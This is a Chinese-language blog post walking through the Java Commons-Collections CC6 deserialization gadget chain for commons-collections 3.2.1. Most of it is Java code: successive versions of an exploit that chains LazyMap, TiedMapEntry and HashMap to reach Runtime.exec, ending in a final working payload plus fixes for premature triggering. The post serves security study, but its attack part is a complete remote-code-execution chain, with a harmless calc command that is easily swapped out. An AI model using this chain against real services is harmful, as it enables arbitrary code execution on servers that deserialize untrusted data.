Featured image of post java反序列化之Commons-Collections-CC6链

java反序列化之Commons-Collections-CC6链

java反序列化链子之cc6链

环境搭建

  • jdk8u_71
  • Comoons-Collections 3.2.1

前言

先说一说 CC6 链同我们之前 CC1 链的一些不同之处吧,我们当时审计 CC1 链的时候要求是比较严格的。要求的环境为 jdk8u65 Commons-Collections 3.2.1

而我们的 CC6 链,可以不受 jdk 版本制约。

如果用一句话介绍一下 CC6,那就是 CC6 = CC1 + URLDNS

CC6 链的前半条链与 CC1 正版链子是一样的,也就是到 LazyMap 链

LazyMap链

1
2
3
4
5
6
7
8
9
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer  = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> hashmap = new HashMap<>();
Map<Object,Object> decoratemap = LazyMap.decorate(hashmap,invokerTransformer);
//decoratemap.get(Runtime.class);
Class<LazyMap> lazyMapClass = LazyMap.class;
Method method = lazyMapClass.getDeclaredMethod("get",Object.class);
method.setAccessible(true);
method.invoke(decoratemap,runtime);

成功弹计算器

TiedMapEntry.getValue触发get

然后找调用了get方法的类

链子的下一步是TiedMapEntrygetValue调用了LazyMapget()方法

看构造方法是public,这里map->LazyMap,value->Runtime.class

这里可以不需要通过反射来获取方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
HashMap<Object,Object> hashmap = new HashMap<>();

Map<Object,Object> decoratemap = LazyMap.decorate(hashmap,chainedTransformer);
//        decoratemap.get(Runtime.class);
//        Class<LazyMap> lazyMapClass = LazyMap.class;
//        Method method = lazyMapClass.getDeclaredMethod("get",Object.class);
//        method.setAccessible(true);
//        method.invoke(decoratemap,runtime);
//因为有ConstantTransformer在,所以key不一定要Runtime.class
TiedMapEntry tiedMapEntry = new TiedMapEntry(decoratemap,123);
tiedMapEntry.getValue();

成功弹了

TiedMapEntry.hashCode触发getValue

因为getValue的方法相当常见,寻找同名类的其他调用getValue的方法

找到还是TiedMapEntry类的hashCode方法,这里调用了getValue

之前说cc6=cc1+URLDNS,而hashCode刚好是URLDNS链的入口

1
tiedMapEntry.hashCode();

运行后成功弹计算器

HashMap.hash触发hashCode

后面的链子就是HashMaphash

HashMap.put触发hash

HashMapput

\

为什么readObject都没有put,这里用put?因为 在 Java 的反序列化过程中,HashMap 会自动调用 put 方法来恢复数据结构 ,而且hash(key)是从put(key,value)传进来的

所以put->hash hash->hashCode是常见的HashMap的链子

1
2
HashMap<Object,Object> map = new HashMap<>();
        map.put(tiedMapEntry,"123");

这样可以弹

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        HashMap<Object,Object> hashmap = new HashMap<>();

        Map<Object,Object> lazymap = LazyMap.decorate(hashmap,chainedTransformer);
        //        decoratemap.get(Runtime.class);
        //        Class<LazyMap> lazyMapClass = LazyMap.class;
        //        Method method = lazyMapClass.getDeclaredMethod("get",Object.class);
        //        method.setAccessible(true);
        //        method.invoke(decoratemap,runtime);
        //因为有ConstantTransformer在,所以key不一定要Runtime.class
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,123);
//        tiedMapEntry.hashCode();
        HashMap<Object,Object> map = new HashMap<>();
        map.put(tiedMapEntry,"123");



        serialize(map);
        unserialize("ser.bin");

问题一

但是注释掉反序列化代码,序列化的时候也会弹出计算器

原因

序列化的时候put就会进入hash从而走一遍链子触发弹计算器

解决

先将假的LazyMap放进去,put完后再通过反射修改属性值将正确的LazyMap放到factory

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
HashMap<Object,Object> hashmap = new HashMap<>();
//给假的
Map<Object,Object> lazymap = LazyMap.decorate(hashmap,new ConstantTransformer("1"));
//因为有ConstantTransformer在,所以key不一定要Runtime.class
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,123);
//tiedMapEntry.hashCode();
HashMap<Object,Object> map = new HashMap<>();
map.put(tiedMapEntry,"123");
Class c = LazyMap.class;
Field field = c.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazymap,chainedTransformer);
serialize(map);

问题二

序列化不会弹计算器

但反序列化也不会弹计算器

原因

调试时发现

key不等于false,不会进入链子

解决

通过remove将传入的"abc"去掉

最终exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
HashMap<Object,Object> hashmap = new HashMap<>();
//给假的
Map<Object,Object> lazymap = LazyMap.decorate(hashmap,new ConstantTransformer("1"));
//因为有ConstantTransformer在,所以key不一定要Runtime.class
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"abc");
//        tiedMapEntry.hashCode();
HashMap<Object,Object> map = new HashMap<>();
map.put(tiedMapEntry,"123");
lazymap.remove("abc");
Class c = LazyMap.class;
Field field = c.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazymap,chainedTransformer);
serialize(map);
unserialize("ser.bin");

问题三

在序列化前打断点,调试的时候会弹出计算器

因为在 IDEA 进行 debug 调试的时候,为了展示对象的集合,会自动调用 toString() 方法,所以在创建 TiedMapEntry 的时候,就自动调用了 getValue() 最终将链子走完,然后弹出计算器。

解决

在 IDEA 的偏好设置当中如图修改即可。

总结

流程图

链子

1
2
3
4
5
6
7
8
9
ObjectInputStream.readObject
  HashMap.readObject
    HashMap.put
    HashMap.hash
      TiedMapEntry.hashCode
      TiedMapEntry.getValue
        LazyMap.get
          ChainedTransformer.transformer
            InvokerTransformer.transformer
最后更新于 Mar 03, 2025 07:35 UTC
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计